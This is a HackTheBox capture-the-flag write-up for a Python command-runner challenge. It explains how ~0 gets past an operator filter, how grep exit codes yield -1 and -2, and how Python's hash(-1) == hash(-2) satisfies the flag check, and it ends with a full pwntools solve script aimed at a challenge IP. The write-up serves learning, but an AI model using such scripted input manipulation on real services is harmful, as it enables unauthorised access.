$ cat writeup.md…
$ cat writeup.md…
HackTheBox
Luigi is not posixtive we can challenge his scripting abilities. He's convinced we cannot understand the secret hidden inside his l33t coding abilities. We can't let that slide!
Luigi is not posixtive we can challenge his scripting abilities. He's convinced we cannot understand the secret hidden inside his l33t coding abilities. We can't let that slide!
The challenge provides a Python server with several key components:
Input validation functions:
check_stricter_values() - allows max 4 chars, only alphabetic and dotscheck_values() - allows max 13 chars, only alphabetic and dotscheck_operands() - blocks operators +, -, *, /, %, =, x, o, b but allows ~Execute function:
subprocess.run([bin, switch, compl])returncode * modeWin condition:
if debug[0] != debug[1] and str(debug[0]) != str(debug[1]) and hash(debug[0]) == hash(debug[1]) and isinstance(debug[0], type(debug[1])): print("What an awesome player! You have beaten the competitor, you deserve this:", open('flag.txt').read())
The win condition requires finding two values that:
!=)In Python, hash(-1) == hash(-2) == -2. This is a known implementation detail of Python's hash function where -1 is reserved as an error indicator, so hash(-1) returns -2 instead.
>>> hash(-1) -2 >>> hash(-2) -2 >>> hash(-1) == hash(-2) True
Mode = ~0
- operator is blocked, but ~ (bitwise NOT) is not~0 = -1 in Pythoneval() in check_operands()Binary = grep
grep pattern file returns:
Arguments = server.py,nonexistent
server.py exists on the servernonexistent does not existSwitches = zzz,zzz
grep zzz server.py -> return code 1 -> 1 * (-1) = -1grep zzz nonexistent -> return code 2 -> 2 * (-1) = -2debug = [-1, -2] debug[0] != debug[1] # True: -1 != -2 str(debug[0]) != str(debug[1]) # True: "-1" != "-2" hash(debug[0]) == hash(debug[1]) # True: hash(-1) == hash(-2) == -2 isinstance(debug[0], type(debug[1])) # True: both are int
#!/usr/bin/env python3 from pwn import * r = remote('94.237.61.202', 47412) r.recvuntil(b'> ') r.sendline(b'1') # Create mode r.recvuntil(b'(mode)> ') r.sendline(b'~0') # mode = -1 r.recvuntil(b'> ') r.sendline(b'2') # Add bin r.recvuntil(b'(bin)> ') r.sendline(b'grep') r.recvuntil(b'> ') r.sendline(b'3') # Research arguments r.recvuntil(b'(arg1,arg2)> ') r.sendline(b'server.py,nonexistent') r.recvuntil(b'> ') r.sendline(b'4') # Switches r.recvuntil(b'(switch1,switch2)> ') r.sendline(b'zzz,zzz') r.recvuntil(b'> ') r.sendline(b'5') # Beat the competitor print(r.recvall(timeout=5).decode())
~x = -(x+1), so ~0 = -1$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar